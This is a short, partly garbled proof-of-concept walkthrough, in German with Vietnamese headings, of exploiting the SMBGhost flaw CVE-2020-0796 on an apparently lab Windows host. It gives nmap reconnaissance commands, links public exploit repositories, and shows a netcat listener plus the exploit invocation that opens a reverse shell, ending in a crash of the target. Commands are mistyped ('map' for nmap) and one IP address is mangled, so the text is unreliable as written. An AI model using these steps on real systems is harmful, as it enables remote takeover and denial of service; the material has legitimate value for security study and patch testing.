**- Các phiên bản bị ảnh hưởng*

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)

Sơ đồ kết nối hệ thống

Zielaufklärung

Nmap starten, um das Netzwerk in der DMZ zu scannen

map -sS 192.168.116.0/24

nmap: Der Name des Netzwerkscanners.**

-sS: Wählt die TCP-SYN-Scan-Methode. Bei diesem Scan sendet Nmap ein SYN-Paket an den Zielrechner und beobachtet die Antwort. Wenn der Zielrechner mit einem SYN-ACK-Paket antwortet, weiß Nmap, dass der Port offen ist. Wenn der Zielrechner mit einem RST-Paket antwortet, ist der Port geschlossen.

-192.168.116.0/24: Die IP-Adresse oder der IP-Adressbereich, den Sie scannen möchten. In diesem Fall handelt es sich um den Bereich 192.168.116.0/24, der alle IP-Adressen von 192.168.116.1 bis 192.168.116.254 beschreibt.

image-scanNmap

=> Es wird beobachtet, dass die IP-Adresse des Opferrechners 192.116.145 Port 445 offen hat.

· Verwenden von Nmap, um die Schwachstelle auf dem Opferrechner zu scannen

map -p445 –script smb-protocols 192.168.116.145

nmap: Der Name des Netzwerkscanners.

-p445: Gibt den zu scannenden Port an, in diesem Fall Port 445. Port 445 wird normalerweise für die Kommunikation mit dem SMB-Dienst (Server Message Block) auf Windows-Systemen verwendet.

--script smb-protocols: Wählt das Skript smb-protocols für den Scan aus. Dieses Skript hilft, Informationen über die unterstützten SMB-Protokollversionen auf dem Zielrechner zu überprüfen und anzuzeigen.

192.168.116.145: Die IP-Adresse des Zielrechners, den Sie scannen möchten. In diesem Fall ist die IP-Adresse 192.168.116.145.

image-sanNmap2

Das Ergebnis smb-protocols zeigt, dass der Opferrechner möglicherweise die ausnutzbare Schwachstelle SMBv3.1.1 aufweist.
Um sicherzugehen, wird die Ausnutzbarkeit von CVE-2020-0796 durch Ausführen eines Python-Skripts weiter überprüft.

[]: -https://github.com/ly4k/SMBGhost "Exploit-Code"

image-nmapcheck

=> Ergebnis Anfällig -> Schwachstelle CVE-2020-0796 auf dem Opferrechner festgestellt, die ausnutzbar ist.

Ausnutzung der Schwachstelle, Installation von Schadcode, Erstellung eines Fernsteuerungskanals

Durchführung des Reverse-Shell-Angriffs

Starten einer Sitzung mit Netcat, um auf eine Verbindung vom Opfer zu lauschen*

ncat -lvp 4444

Ausführen des Exploit-Skripts für CVE-2020-0796

[]: https://github.com/jamf/CVE-2020-0796-RCE-POC "Exploit-Code"

python SMBleedingGhost.py 192.168.116.145 192.168.44.3 4444

image-attack

=> ERGEBNIS: Der Angreifer übernimmt die Ausführung von Shellcode auf dem Opferrechner.

image-result

Nach erfolgreicher Verbindung kann der Angreifer beliebigen Code auf dem Opferrechner mit den Benutzerrechten des Benutzers in der Sitzung ausführen.

Beim Beenden der Sitzung. Der Opferrechner zeigt einen BlueScreen und startet automatisch neu.

image-end

*Die Durchführung des Exploits kann zur Beschädigung des Zielsystems führen*

POC-CVE-2020-0796

Beliebteste